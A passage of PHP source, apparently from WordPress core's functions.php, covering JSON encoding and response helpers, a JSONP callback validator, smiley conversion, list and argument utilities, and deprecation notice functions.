if ( is_array( $data ) ) {
$output = array();
foreach ( $data as $id => $el ) {
// Don't forget to sanitize the ID!
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
// Check the element type, so that we're only recursing if we really have to.
if ( is_array( $el ) || is_object( $el ) ) {
$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output[ $clean_id ] = _wp_json_convert_string( $el );
} else {
$output[ $clean_id ] = $el;
}
}
} elseif ( is_object( $data ) ) {
$output = new stdClass;
foreach ( $data as $id => $el ) {
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
if ( is_array( $el ) || is_object( $el ) ) {
$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output->$clean_id = _wp_json_convert_string( $el );
} else {
$output->$clean_id = $el;
}
}
} elseif ( is_string( $data ) ) {
return _wp_json_convert_string( $data );
} else {
return $data;
}
return $output;
}
/**
* Convert a string to UTF-8, so that it can be safely encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see _wp_json_sanity_check()
*
* @staticvar bool $use_mb
*
* @param string $string The string which is to be converted.
* @return string The checked string.
*/
function _wp_json_convert_string( $string ) {
static $use_mb = null;
if ( is_null( $use_mb ) ) {
$use_mb = function_exists( 'mb_convert_encoding' );
}
if ( $use_mb ) {
$encoding = mb_detect_encoding( $string, mb_detect_order(), true );
if ( $encoding ) {
return mb_convert_encoding( $string, 'UTF-8', $encoding );
} else {
return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
}
} else {
return wp_check_invalid_utf8( $string, true );
}
}
/**
* Prepares response data to be serialized to JSON.
*
* This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
*
* @ignore
* @since 4.4.0
* @access private
*
* @param mixed $data Native representation.
* @return bool|int|float|null|string|array Data ready for `json_encode()`.
*/
function _wp_json_prepare_data( $data ) {
if ( ! defined( 'WP_JSON_SERIALIZE_COMPATIBLE' ) || WP_JSON_SERIALIZE_COMPATIBLE === false ) {
return $data;
}
switch ( gettype( $data ) ) {
case 'boolean':
case 'integer':
case 'double':
case 'string':
case 'NULL':
// These values can be passed through.
return $data;
case 'array':
// Arrays must be mapped in case they also return objects.
return array_map( '_wp_json_prepare_data', $data );
case 'object':
// If this is an incomplete object (__PHP_Incomplete_Class), bail.
if ( ! is_object( $data ) ) {
return null;
}
if ( $data instanceof JsonSerializable ) {
$data = $data->jsonSerialize();
} else {
$data = get_object_vars( $data );
}
// Now, pass the array (or whatever was returned from jsonSerialize through).
return _wp_json_prepare_data( $data );
default:
return null;
}
}
/**
* Send a JSON response back to an Ajax request.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $response Variable (usually an array or object) to encode as JSON,
* then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json( $response, $status_code = null ) {
@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
if ( null !== $status_code ) {
status_header( $status_code );
}
echo wp_json_encode( $response );
if ( wp_doing_ajax() ) {
wp_die(
'',
'',
array(
'response' => null,
)
);
} else {
die;
}
}
/**
* Send a JSON response back to an Ajax request, indicating success.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_success( $data = null, $status_code = null ) {
$response = array( 'success' => true );
if ( isset( $data ) ) {
$response['data'] = $data;
}
wp_send_json( $response, $status_code );
}
/**
* Send a JSON response back to an Ajax request, indicating failure.
*
* If the `$data` parameter is a WP_Error object, the errors
* within the object are processed and output as an array of error
* codes and corresponding messages. All other types are output
* without further processing.
*
* @since 3.5.0
* @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in.
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_error( $data = null, $status_code = null ) {
$response = array( 'success' => false );
if ( isset( $data ) ) {
if ( is_wp_error( $data ) ) {
$result = array();
foreach ( $data->errors as $code => $messages ) {
foreach ( $messages as $message ) {
$result[] = array(
'code' => $code,
'message' => $message,
);
}
}
$response['data'] = $result;
} else {
$response['data'] = $data;
}
}
wp_send_json( $response, $status_code );
}
/**
* Checks that a JSONP callback is a valid JavaScript callback.
*
* Only allows alphanumeric characters and the dot character in callback
* function names. This helps to mitigate XSS attacks caused by directly
* outputting user input.
*
* @since 4.6.0
*
* @param string $callback Supplied JSONP callback function.
* @return bool True if valid callback, otherwise false.
*/
function wp_check_jsonp_callback( $callback ) {
if ( ! is_string( $callback ) ) {
return false;
}
preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
return 0 === $illegal_char_count;
}
/**
* Retrieve the WordPress home page URL.
*
* If the constant named 'WP_HOME' exists, then it will be used and returned
* by the function. This can be used to counter the redirection on your local
* development environment.
*
* @since 2.2.0
* @access private
*
* @see WP_HOME
*
* @param string $url URL for the home location.
* @return string Homepage location.
*/
function _config_wp_home( $url = '' ) {
if ( defined( 'WP_HOME' ) ) {
return untrailingslashit( WP_HOME );
}
return $url;
}
/**
* Retrieve the WordPress site URL.
*
* If the constant named 'WP_SITEURL' is defined, then the value in that
* constant will always be returned. This can be used for debugging a site
* on your localhost while not having to change the database to your URL.
*
* @since 2.2.0
* @access private
*
* @see WP_SITEURL
*
* @param string $url URL to set the WordPress site location.
* @return string The WordPress Site URL.
*/
function _config_wp_siteurl( $url = '' ) {
if ( defined( 'WP_SITEURL' ) ) {
return untrailingslashit( WP_SITEURL );
}
return $url;
}
/**
* Delete the fresh site option.
*
* @since 4.7.0
* @access private
*/
function _delete_option_fresh_site() {
update_option( 'fresh_site', '0' );
}
/**
* Set the localized direction for MCE plugin.
*
* Will only set the direction to 'rtl', if the WordPress locale has
* the text direction set to 'rtl'.
*
* Fills in the 'directionality' setting, enables the 'directionality'
* plugin, and adds the 'ltr' button to 'toolbar1', formerly
* 'theme_advanced_buttons1' array keys. These keys are then returned
* in the $mce_init (TinyMCE settings) array.
*
* @since 2.1.0
* @access private
*
* @param array $mce_init MCE settings array.
* @return array Direction set for 'rtl', if needed by locale.
*/
function _mce_set_direction( $mce_init ) {
if ( is_rtl() ) {
$mce_init['directionality'] = 'rtl';
$mce_init['rtl_ui'] = true;
if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) {
$mce_init['plugins'] .= ',directionality';
}
if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
$mce_init['toolbar1'] .= ',ltr';
}
}
return $mce_init;
}
/**
* Convert smiley code to the icon graphic file equivalent.
*
* You can turn off smilies, by going to the write setting screen and unchecking
* the box, or by setting 'use_smilies' option to false or removing the option.
*
* Plugins may override the default smiley list by setting the $wpsmiliestrans
* to an array, with the key the code the blogger types in and the value the
* image file.
*
* The $wp_smiliessearch global is for the regular expression and is set each
* time the function is called.
*
* The full list of smilies can be found in the function and won't be listed in
* the description. Probably should create a Codex page for it, so that it is
* available.
*
* @global array $wpsmiliestrans
* @global array $wp_smiliessearch
*
* @since 2.2.0
*/
function smilies_init() {
global $wpsmiliestrans, $wp_smiliessearch;
// don't bother setting up smilies if they are disabled
if ( ! get_option( 'use_smilies' ) ) {
return;
}
if ( ! isset( $wpsmiliestrans ) ) {
$wpsmiliestrans = array(
':mrgreen:' => 'mrgreen.png',
':neutral:' => "\xf0\x9f\x98\x90",
':twisted:' => "\xf0\x9f\x98\x88",
':arrow:' => "\xe2\x9e\xa1",
':shock:' => "\xf0\x9f\x98\xaf",
':smile:' => "\xf0\x9f\x99\x82",
':???:' => "\xf0\x9f\x98\x95",
':cool:' => "\xf0\x9f\x98\x8e",
':evil:' => "\xf0\x9f\x91\xbf",
':grin:' => "\xf0\x9f\x98\x80",
':idea:' => "\xf0\x9f\x92\xa1",
':oops:' => "\xf0\x9f\x98\xb3",
':razz:' => "\xf0\x9f\x98\x9b",
':roll:' => "\xf0\x9f\x99\x84",
':wink:' => "\xf0\x9f\x98\x89",
':cry:' => "\xf0\x9f\x98\xa5",
':eek:' => "\xf0\x9f\x98\xae",
':lol:' => "\xf0\x9f\x98\x86",
':mad:' => "\xf0\x9f\x98\xa1",
':sad:' => "\xf0\x9f\x99\x81",
'8-)' => "\xf0\x9f\x98\x8e",
'8-O' => "\xf0\x9f\x98\xaf",
':-(' => "\xf0\x9f\x99\x81",
':-)' => "\xf0\x9f\x99\x82",
':-?' => "\xf0\x9f\x98\x95",
':-D' => "\xf0\x9f\x98\x80",
':-P' => "\xf0\x9f\x98\x9b",
':-o' => "\xf0\x9f\x98\xae",
':-x' => "\xf0\x9f\x98\xa1",
':-|' => "\xf0\x9f\x98\x90",
';-)' => "\xf0\x9f\x98\x89",
// This one transformation breaks regular text with frequency.
// '8)' => "\xf0\x9f\x98\x8e",
'8O' => "\xf0\x9f\x98\xaf",
':(' => "\xf0\x9f\x99\x81",
':)' => "\xf0\x9f\x99\x82",
':?' => "\xf0\x9f\x98\x95",
':D' => "\xf0\x9f\x98\x80",
':P' => "\xf0\x9f\x98\x9b",
':o' => "\xf0\x9f\x98\xae",
':x' => "\xf0\x9f\x98\xa1",
':|' => "\xf0\x9f\x98\x90",
';)' => "\xf0\x9f\x98\x89",
':!:' => "\xe2\x9d\x97",
':?:' => "\xe2\x9d\x93",
);
}
/**
* Filters all the smilies.
*
* This filter must be added before `smilies_init` is run, as
* it is normally only run once to setup the smilies regex.
*
* @since 4.7.0
*
* @param array $wpsmiliestrans List of the smilies.
*/
$wpsmiliestrans = apply_filters( 'smilies', $wpsmiliestrans );
if ( count( $wpsmiliestrans ) == 0 ) {
return;
}
/*
* NOTE: we sort the smilies in reverse key order. This is to make sure
* we match the longest possible smilie (:???: vs :?) as the regular
* expression used below is first-match
*/
krsort( $wpsmiliestrans );
$spaces = wp_spaces_regexp();
// Begin first "subpattern"
$wp_smiliessearch = '/(?<=' . $spaces . '|^)';
$subchar = '';
foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
$firstchar = substr( $smiley, 0, 1 );
$rest = substr( $smiley, 1 );
// new subpattern?
if ( $firstchar != $subchar ) {
if ( $subchar != '' ) {
$wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern"
$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"
}
$subchar = $firstchar;
$wp_smiliessearch .= preg_quote( $firstchar, '/' ) . '(?:';
} else {
$wp_smiliessearch .= '|';
}
$wp_smiliessearch .= preg_quote( $rest, '/' );
}
$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
}
/**
* Merge user defined arguments into defaults array.
*
* This function is used throughout WordPress to allow for both string or array
* to be merged into another array.
*
* @since 2.2.0
* @since 2.3.0 `$args` can now also be an object.
*
* @param string|array|object $args Value to merge with $defaults.
* @param array $defaults Optional. Array that serves as the defaults. Default empty.
* @return array Merged user defined values with defaults.
*/
function wp_parse_args( $args, $defaults = '' ) {
if ( is_object( $args ) ) {
$r = get_object_vars( $args );
} elseif ( is_array( $args ) ) {
$r =& $args;
} else {
wp_parse_str( $args, $r );
}
if ( is_array( $defaults ) ) {
return array_merge( $defaults, $r );
}
return $r;
}
/**
* Cleans up an array, comma- or space-separated list of scalar values.
*
* @since 5.1.0
*
* @param array|string $list List of values.
* @return array Sanitized array of values.
*/
function wp_parse_list( $list ) {
if ( ! is_array( $list ) ) {
return preg_split( '/[\s,]+/', $list, -1, PREG_SPLIT_NO_EMPTY );
}
return $list;
}
/**
* Clean up an array, comma- or space-separated list of IDs.
*
* @since 3.0.0
*
* @param array|string $list List of ids.
* @return array Sanitized array of IDs.
*/
function wp_parse_id_list( $list ) {
$list = wp_parse_list( $list );
return array_unique( array_map( 'absint', $list ) );
}
/**
* Clean up an array, comma- or space-separated list of slugs.
*
* @since 4.7.0
*
* @param array|string $list List of slugs.
* @return array Sanitized array of slugs.
*/
function wp_parse_slug_list( $list ) {
$list = wp_parse_list( $list );
return array_unique( array_map( 'sanitize_title', $list ) );
}
/**
* Extract a slice of an array, given a list of keys.
*
* @since 3.1.0
*
* @param array $array The original array.
* @param array $keys The list of keys.
* @return array The array slice.
*/
function wp_array_slice_assoc( $array, $keys ) {
$slice = array();
foreach ( $keys as $key ) {
if ( isset( $array[ $key ] ) ) {
$slice[ $key ] = $array[ $key ];
}
}
return $slice;
}
/**
* Determines if the variable is a numeric-indexed array.
*
* @since 4.4.0
*
* @param mixed $data Variable to check.
* @return bool Whether the variable is a list.
*/
function wp_is_numeric_array( $data ) {
if ( ! is_array( $data ) ) {
return false;
}
$keys = array_keys( $data );
$string_keys = array_filter( $keys, 'is_string' );
return count( $string_keys ) === 0;
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.0.0
* @since 4.7.0 Uses `WP_List_Util` class.
*
* @param array $list An array of objects to filter
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'or' means
* only one element from the array needs to match; 'and'
* means all elements must match; 'not' means no elements may
* match. Default 'and'.
* @param bool|string $field A field from the object to place instead of the entire object.
* Default false.
* @return array A list of objects or object fields.
*/
function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
$util->filter( $args, $operator );
if ( $field ) {
$util->pluck( $field );
}
return $util->get_output();
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.1.0
* @since 4.7.0 Uses `WP_List_Util` class.
*
* @param array $list An array of objects to filter.
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @return array Array of found values.
*/
function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->filter( $args, $operator );
}
/**
* Pluck a certain field out of each object in a list.
*
* This has the same functionality and prototype of
* array_column() (PHP 5.5) but also supports objects.
*
* @since 3.1.0
* @since 4.0.0 $index_key parameter added.
* @since 4.7.0 Uses `WP_List_Util` class.
*
* @param array $list List of objects or arrays
* @param int|string $field Field from the object to place instead of the entire object
* @param int|string $index_key Optional. Field from the object to use as keys for the new array.
* Default null.
* @return array Array of found values. If `$index_key` is set, an array of found values with keys
* corresponding to `$index_key`. If `$index_key` is null, array keys from the original
* `$list` will be preserved in the results.
*/
function wp_list_pluck( $list, $field, $index_key = null ) {
$util = new WP_List_Util( $list );
return $util->pluck( $field, $index_key );
}
/**
* Sorts a list of objects, based on one or more orderby arguments.
*
* @since 4.7.0
*
* @param array $list An array of objects to sort.
* @param string|array $orderby Optional. Either the field name to order by or an array
* of multiple orderby fields as $orderby => $order.
* @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
* is a string.
* @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
* @return array The sorted array.
*/
function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->sort( $orderby, $order, $preserve_keys );
}
/**
* Determines if Widgets library should be loaded.
*
* Checks to make sure that the widgets library hasn't already been loaded.
* If it hasn't, then it will load the widgets library and run an action hook.
*
* @since 2.2.0
*/
function wp_maybe_load_widgets() {
/**
* Filters whether to load the Widgets library.
*
* Passing a falsey value to the filter will effectively short-circuit
* the Widgets library from loading.
*
* @since 2.8.0
*
* @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
* Default true.
*/
if ( ! apply_filters( 'load_default_widgets', true ) ) {
return;
}
require_once( ABSPATH . WPINC . '/default-widgets.php' );
add_action( '_admin_menu', 'wp_widgets_add_menu' );
}
/**
* Append the Widgets menu to the themes main menu.
*
* @since 2.2.0
*
* @global array $submenu
*/
function wp_widgets_add_menu() {
global $submenu;
if ( ! current_theme_supports( 'widgets' ) ) {
return;
}
$submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
ksort( $submenu['themes.php'], SORT_NUMERIC );
}
/**
* Flush all output buffers for PHP 5.2.
*
* Make sure all output buffers are flushed before our singletons are destroyed.
*
* @since 2.2.0
*/
function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ( $i = 0; $i < $levels; $i++ ) {
ob_end_flush();
}
}
/**
* Load custom DB error or display WordPress DB error.
*
* If a file exists in the wp-content directory named db-error.php, then it will
* be loaded instead of displaying the WordPress DB error. If it is not found,
* then the WordPress DB error will be displayed instead.
*
* The WordPress DB error sets the HTTP status header to 500 to try to prevent
* search engines from caching the message. Custom DB messages should do the
* same.
*
* This function was backported to WordPress 2.3.2, but originally was added
* in WordPress 2.5.0.
*
* @since 2.3.2
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function dead_db() {
global $wpdb;
wp_load_translations_early();
// Load custom DB error template, if present.
if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
require_once( WP_CONTENT_DIR . '/db-error.php' );
die();
}
// If installing or in the admin, provide the verbose message.
if ( wp_installing() || defined( 'WP_ADMIN' ) ) {
wp_die( $wpdb->error );
}
// Otherwise, be terse.
wp_die( '<h1>' . __( 'Error establishing a database connection' ) . '</h1>', __( 'Database Error' ) );
}
/**
* Convert a value to non-negative integer.
*
* @since 2.5.0
*
* @param mixed $maybeint Data you wish to have converted to a non-negative integer.
* @return int A non-negative integer.
*/
function absint( $maybeint ) {
return abs( intval( $maybeint ) );
}
/**
* Mark a function as deprecated and inform when it has been used.
*
* There is a {@see 'hook deprecated_function_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every function that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the function.
* @param string $replacement Optional. The function that should have been called. Default null.
*/
function _deprecated_function( $function, $version, $replacement = null ) {
/**
* Fires when a deprecated function is called.
*
* @since 2.5.0
*
* @param string $function The function that was called.
* @param string $replacement The function that should have been called.
* @param string $version The version of WordPress that deprecated the function.
*/
do_action( 'deprecated_function_run', $function, $replacement, $version );
/**
* Filters whether to trigger an error for deprecated functions.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP function name, 2: version number, 3: alternative function name */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $function, $version, $replacement ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $function, $version ) );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a constructor as deprecated and informs when it has been used.
*
* Similar to _deprecated_function(), but with different strings. Used to
* remove PHP4 style constructors.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every PHP4 style constructor method that is deprecated.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @access private
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class Optional. The parent class calling the deprecated constructor.
* Default empty string.
*/
function _deprecated_constructor( $class, $version, $parent_class = '' ) {
/**
* Fires when a deprecated constructor is called.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class The parent class calling the deprecated constructor.
*/
do_action( 'deprecated_constructor_run', $class, $version, $parent_class );
/**
* Filters whether to trigger an error for deprecated functions.
*
* `WP_DEBUG` must be true in addition to the filter evaluating to true.
*
* @since 4.3.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! empty( $parent_class ) ) {
/* translators: 1: PHP class name, 2: PHP parent class name, 3: version number, 4: __construct() method */
trigger_error(
sprintf(
__( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
$class,
$parent_class,
$version,
'<pre>__construct()</pre>'
)
);
} else {
/* translators: 1: PHP class name, 2: version number, 3: __construct() method */
trigger_error(
sprintf(
__( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
$class,
$version,
'<pre>__construct()</pre>'
)
);
}
} else {
if ( ! empty( $parent_class ) ) {
trigger_error(
sprintf(
'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
$class,
$parent_class,
$version,
'<pre>__construct()</pre>'
)
);
} else {
trigger_error(
sprintf(
'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
$class,
$version,
'<pre>__construct()</pre>'
)
);
}
}
}
}
/**
* Mark a file as deprecated and inform when it has been used.
*
* There is a hook {@see 'deprecated_file_included'} that will be called that can be used
* to get the backtrace up to what file and function included the deprecated
* file.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every file that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $file The file that was included.
* @param string $version The version of WordPress that deprecated the file.
* @param string $replacement Optional. The file that should have been included based on ABSPATH.
* Default null.
* @param string $message Optional. A message regarding the change. Default empty.
*/
function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
/**
* Fires when a deprecated file is called.
*
* @since 2.5.0
*
* @param string $file The file that was called.
* @param string $replacement The file that should have been included based on ABSPATH.
* @param string $version The version of WordPress that deprecated the file.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
/**
* Filters whether to trigger an error for deprecated files.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated files. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP file name, 2: version number, 3: alternative file name */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message );
} else {
/* translators: 1: PHP file name, 2: version number */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $file, $version ) . $message );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );
}
}
}
}
/**
* Mark a function argument as deprecated and inform when it has been used.
*
* This function is to be used whenever a deprecated function argument is used.
* Before this function is called, the argument must be checked for whether it was
* used by comparing it to its default value or evaluating whether it is empty.
* For example:
*
* if ( ! empty( $deprecated ) ) {
* _deprecated_argument( __FUNCTION__, '3.0.0' );
* }
*
* There is a hook deprecated_argument_run that will be called that can be used
* to get the backtrace up to what file and function used the deprecated
* argument.
*
* The current behavior is to trigger a user error if WP_DEBUG is true.
*
* @since 3.0.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message Optional. A message regarding the change. Default null.
*/
function _deprecated_argument( $function, $version, $message = null ) {
/**
* Fires when a deprecated argument is called.
*
* @since 3.0.0
*
* @param string $function The function that was called.
* @param string $message A message regarding the change.
* @param string $version The version of WordPress that deprecated the argument used.
*/
do_action( 'deprecated_argument_run', $function, $message, $version );
/**
* Filters whether to trigger an error for deprecated arguments.
*
* @since 3.0.0
*
* @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $message ) ) {
/* translators: 1: PHP function name, 2: version number, 3: optional message regarding the change */
trigger_error( sprintf( __( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s' ), $function, $version, $message ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $function, $version ) );
}
} else {
if ( ! is_null( $message ) ) {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );
} else {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a deprecated action or filter hook as deprecated and throws a notice.
*
* Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
* the deprecated hook was called.
*
* Default behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is called by the do_action_deprecated() and apply_filters_deprecated()
* functions, and so generally does not need to be called directly.
*
* @since 4.6.0
* @access private
*
* @param string $hook The hook that was used.
* @param string $version The version of WordPress that deprecated the hook.
* @param string $replacement Optional. The hook that should have been used.
* @param string $message Optional. A message regarding the change.
*/
function _deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
/**
* Fires when a deprecated hook is called.
*
* @since 4.6.0
*
* @param string $hook The hook that was called.
* @param string $replacement The hook that should be used as a replacement.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
/**
* Filters whether to trigger deprecated hook errors.
*
* @since 4.6.0
*
* @param bool $trigger Whether to trigger deprecated hook errors. Requires
* `WP_DEBUG` to be defined true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( ! is_null( $replacement ) ) {
/* translators: 1: WordPress hook name, 2: version number, 3: alternative hook name */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message );
} else {
/* translators: 1: WordPress hook name, 2: version number */
trigger_error( sprintf( __( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.' ), $hook, $version ) . $message );
}
}
}
/**
* Mark something as being incorrectly called.
*
* There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* @since 3.1.0
* @access private
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
function _doing_it_wrong( $function, $message, $version ) {
/**
* Fires when the given function is being used incorrectly.
*
* @since 3.1.0
*
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
do_action( 'doing_it_wrong_run', $function, $message, $version );
/**
* Filters whether to trigger an error for _doing_it_wrong() calls.
*
* @since 3.1.0
* @since 5.1.0 Added the $function, $message and $version parameters.
*
* @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true.
* @param string $function The function that was called.
* @param string $message A message explaining what has been done incorrectly.
* @param string $version The version of WordPress where the message was added.
*/
if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function, $message, $version ) ) {
if ( function_exists( '__' ) ) {
if ( is_null( $version ) ) {
$version = '';
} else {
/* translators: %s: version number */
$version = sprintf( __( '(This message was added in version %s.)' ), $version );
}
/* translators: %s: Codex URL */
$message .= ' ' . sprintf(
__( 'Please see <a href="%s">Debugging in WordPress</a> for more information.' ),
__( 'https://codex.wordpress.org/Debugging_in_WordPress' )
);
/* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: Version information message */
trigger_error( sprintf( __( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s' ), $function, $message, $version ) );
} else {
if ( is_null( $version ) ) {
$version = '';
} else {
$version = sprintf( '(This message was added in version %s.)', $version );
}
$message .= sprintf(
' Please see <a href="%s">Debugging in WordPress</a> for more information.',
'https://codex.wordpress.org/Debugging_in_WordPress'
);
trigger_error( sprintf( '%1$s was called <strong>incorrectly</strong>. %2$s %3$s', $function, $message, $version ) );
}
}
}
/**
* Is the server running earlier than 1.5.0 version of lighttpd?
*
* @since 2.5.0
*
* @return bool Whether the server is running lighttpd < 1.5.0.
*/
function is_lighttpd_before_150() {
$server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' );
$server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : '';
return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' );
}
/**
* Does the specified module exist in the Apache config?
*
* @since 2.5.0
*
* @global bool $is_apache
*
* @param string $mod The module, e.g. mod_rewrite.
* @param bool $default Optional. The default return value if the module is not found. Default false.
* @return bool Whether the specified module is loaded.
*/
function apache_mod_loaded( $mod, $default = false ) {
global $is_apache;
if ( ! $is_apache ) {
return false;
}
if ( function_exists( 'apache_get_modules' ) ) {
